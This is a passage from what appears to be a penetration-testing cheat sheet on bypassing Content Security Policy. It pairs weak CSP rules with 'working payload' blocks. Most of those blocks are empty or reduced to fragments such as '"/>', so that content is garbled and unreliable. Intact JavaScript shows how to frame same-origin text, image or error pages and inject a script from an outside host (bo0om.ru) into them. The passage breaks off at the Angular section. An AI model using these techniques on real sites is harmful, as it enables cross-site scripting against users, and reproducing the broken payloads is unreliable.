# CSP Bypass
## Unsafe CSP Rules
**'unsafe-inline'**
```html
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Working payload:
```javascript
"/>
```
-----
**self + 'unsafe-inline' via Iframes**
A configuration such as:
```html
Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’;
```
Prohibits usage of any functions that execute code transmitted as a string. For example: eval, setTimeout, setInterval will all be blocked because of the setting unsafe-eval
Any content from external sources is also blocked, including images, CSS, WebSockets, and, especially, JS
* **Via text & images**
Modern browsers transform images and texts into HTML files to visualize them better (set background, center, etc).
Therefore, if you open an image or txt file such as `favicon.ico` or `robots.txt` with an **iframe**, you will open it as HTML.
These kinds of pages usually don't have **CSP headers** and might not have `X-Frame-Options`, so you can execute arbitrary **JS** from them:
```javascript
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);
```
* **Via Errors**
Same as text files or images, error responses usually don't have **CSP headers** and might not have `X-Frame-Options`. So, you can force errors and load them inside an iframe:
```javascript
// Force nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
// Force error via long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
// Force error via long cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Don't forget to remove them
for(var i=0;i<5;i++){document.cookie=i+"="}
```
```javascript
// After any of the previous examples, you can execute JS in the iframe with something like:
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);
```
-----
**'unsafe-eval'**
```html
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Working payload:
```javascript
```
-----
**strict-dynamic**
If you can somehow make an allowed JS code created a new script tag in the DOM with your JS code, because an allowed script is creating it, the new script tag will be allowed to be executed.
-----
**Wildcard (*)**
```html
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Working payload:
```javascript
"/>'>
"/>'>
```
-----
**Lack of object-src and default-src**
> It looks like this is not longer working!
```javascript
Content-Security-Policy: script-src 'self' ;
```
Working payloads:
```javascript
">'>
```
-----
**File Upload + 'self'**
```javascript
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
If you can upload a JS file you can bypass this CSP:
Working payload:
```javascript
"/>'>
```
-----
**Third Party Endpoints + ('unsafe-eval')**
```javascript
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
Load a vulnerable version of angular and execute arbitrary JS:
```javascript